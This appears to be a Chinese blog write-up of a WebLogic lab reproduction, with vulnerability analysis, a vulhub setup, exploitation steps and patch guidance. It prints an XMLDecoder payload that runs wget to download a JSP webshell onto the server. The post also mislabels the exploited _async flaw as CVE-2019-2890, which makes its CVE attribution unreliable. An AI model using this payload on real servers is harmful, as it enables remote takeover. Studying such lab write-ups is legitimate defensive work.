【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析

Zichel77 2024-07-03 17:03:01 阅读 66

文章目录

1. 基础知识2. 复现2.1 漏洞介绍漏洞影响版本:

2.2 漏洞原理分析2.3 漏洞复现2.3.1 环境搭建2.3.2 漏洞验证2.3.3 漏洞利用2.3.4 POC分析

2.4 漏洞修复

1. 基础知识

在这里插入图片描述

<code>WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic有以下几点优势:

Weblogic支持最新的Java EE 8和Java SE 11规范,可以让开发者使用最新的技术和API来构建应用。Weblogic提供了丰富的管理工具和API,可以实现运营自动化,提高效率和可靠性。Weblogic支持自动扩展和自动重启故障节点,可以保证应用的高可用性和可扩展性。Weblogic提供了Kubernetes部署和管理工具,可以让开发者在容器化和云原生的环境中运行应用。Weblogic与Oracle数据库和中间件集成,可以提供优化的性能、可用性和可支持性。

2. 复现

2.1 漏洞介绍

2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。

Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。

在这里插入图片描述

漏洞影响版本:

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

2.2 漏洞原理分析

漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。

在这里插入图片描述

查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。

在这里插入图片描述

2.3 漏洞复现

2.3.1 环境搭建

测试环境版本:weblogic 10.3.6.0

由于版本一致,可以直接利用vulhub中的镜像CVE-2017-10271,进入到相关目录,

执行<code>docker-compose up -d

在这里插入图片描述

访问 :7001/console,如下环境搭建成功

在这里插入图片描述

2.3.2 漏洞验证

首先判断是否存在漏洞,如下图所示则可能存在漏洞,漏洞点:

http://192.168.10.132:7001/_async/AsyncResponseService

在这里插入图片描述

原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async。

使用Dnslog探测是否出网:

在这里插入图片描述

在这里插入图片描述

2.3.3 漏洞利用

创建shell.txt文件,并在当前文件所在目录用python开启web服务

在这里插入图片描述

在这里插入图片描述

访问一下web服务,web服务开启成功

在这里插入图片描述

访问http://192.168.10.132:7001/_async/AsyncResponseService,抓取数据包,修改payload:

在这里插入图片描述

返回的202响应数据,此时木马文件已经被写入服务器

在这里插入图片描述

访问shell, 可以执行任意命令

在这里插入图片描述

在这里插入图片描述

2.3.4 POC分析

这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制,重点关注的是中间的内容,下面依次介绍XML的各个标签。

java标签

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

object标签

通过 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。

array标签/void标签

<array class="java.lang.String" length="3">code>

<void index="0">code>

<string>/bin/bash</string>

</void>

<void index="1">code>

<string>-c</string>

</void>

<void index="2">code>

<string>wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>

</void>

通过 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:

str[0] = '/bin/bash'

str[1] = '-c'

str[2] = wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp

其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令

void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。

2.4 漏洞修复

1.更新Oracle 2019年10月补丁

https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2.控制T3协议的访问

此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3 服务会默认开启。具体操作:

(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。

(3)保存后需重新启动,规则方可生效。

3.部署网络防护设备,若请求的数据中含有xml数据,必须进行严格的过滤,避免执行恶意命令。



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。